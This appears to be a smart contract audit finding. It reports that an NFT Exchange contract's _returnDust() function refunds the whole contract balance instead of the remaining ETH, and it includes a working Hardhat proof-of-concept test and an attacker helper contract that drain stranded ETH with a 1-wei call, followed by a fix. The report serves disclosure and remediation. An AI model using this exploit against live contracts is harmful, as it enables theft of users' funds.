Lines of code

Vulnerability details

Exchange refund operation will return all ETH stored in the contract instead of the remaining amount from the exchange operation

The function that refunds remaining ETH in the Exchange contract will send back all the balance present in the contract instead of just the remaining amount after the exchange(s) operation(s) happen.

Impact

The _returnDust() internal function is called in the execute and bulkExecute functions of the Exchange contract to return the sender any ETH that is leftover after the exchanges happened.

This function uses a low level call using inline assembly to refund the caller if the storage variable remainingETH (which tracks the consumption of ETH) is greater than 0. But, instead of using this variable as the amount to be refunded, it calls selfbalance() which will return the total ETH balance held in the contract.

This issue can be used to withdraw all the ETH stored in the contract: as long as the refund amount is at least 1 wei the refund process will still send all the contract’s balance.

Combining this issue with other situations that may cause ETH to be stored in the contract (see associated report “ETH payments may fail to be refunded and will be lost in the Exchange contract”) can lead an attacker to steal funds, as shown in the following PoC.

PoC

The following test first sets the scenario by using a failed bulk purchase operation that fails to be refunded back to the caller. This leaves the ETH payment in the Exchange contract.

The attacker (here represented by the thirdParty signer) uses a bulk exchange operation that will fail on purpose and send a payment of 1 wei. _remainingETH will be 1 wei, but the refund operation will send all the ETH held in the contract, which includes the lost payment from the previous operation.

it('steal eth in exchange via refund', async function() {
  // Simulate a failed operation that fails to refund ETH
  const buyerContract = (await simpleDeploy('NftBuyer', [exchange.address])) as any;
  
  // sell price is 2 ETH
  sell = generateOrder(alice, {
    side: Side.Sell,
    tokenId,
    paymentToken: ethers.constants.AddressZero,
    price: ethers.utils.parseEther("2"),
    fees: [],
  });
  
  // buyer wants to buy it for 1 ETH, which will fail the operation
  const amount = ethers.utils.parseEther("1");
  buy = generateOrder(buyerContract, {
    side: Side.Buy,
    tokenId,
    price: amount,
    paymentToken: ethers.constants.AddressZero,
    fees: [],
  });
  
  sellInput = await sell.pack();
  buyInput = await buy.packNoSigs();
  const executions = [{ sell: sellInput, buy: buyInput }];

  await waitForTx(
    buyerContract.buyNftBulk(executions, { value: amount })
  );
  
  // ETH is in exchange
  expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(amount);
  
  // Now thirdparty wants to take advantage of this, he executes an order that will also fail and sends 1 wei so the refund process is triggered
  const thirdPartyBuy = generateOrder(thirdParty, {
    side: Side.Buy,
    tokenId,
    price: 1,
    paymentToken: ethers.constants.AddressZero,
    fees: [],
  });
  
  const thirdPartyBuyInput = await thirdPartyBuy.pack()
  const thirdPartyExecutions = [{ sell: sellInput, buy: thirdPartyBuyInput }];
  
  // ETH present in the exchange is sent to third party
  await expect(
    () => exchange.connect(thirdParty).bulkExecute(thirdPartyExecutions, { value: 1 })
  ).to.changeEtherBalance(thirdParty, amount);
                  
  // Exchange balance is 0
  expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(0);
});

NftBuyer contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../Exchange.sol";
import "../lib/OrderStructs.sol";

contract NftBuyer is IERC721Receiver {
    Exchange private immutable exchange;

    constructor(Exchange _exchange) {
        exchange = _exchange;
    }

    function buyNft(Input calldata sell, Input calldata buy) external payable {
        exchange.execute{value: msg.value}(sell, buy);
    }
    function buyNftBulk(Execution[] calldata executions) external payable {
        exchange.bulkExecute{value: msg.value}(executions);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        // simulate a high gas operation
    }
}

Recommendation

Use _remainingETH instead of selfbalance() in the _returnDust() function:

assembly {
    if gt(_remainingETH, 0) {
        let callStatus := call(
            gas(),
            caller(),
            _remainingETH,
            0,
            0,
            0,
            0
        )
    }
}

---

The text was updated successfully, but these errors were encountered:

All reactions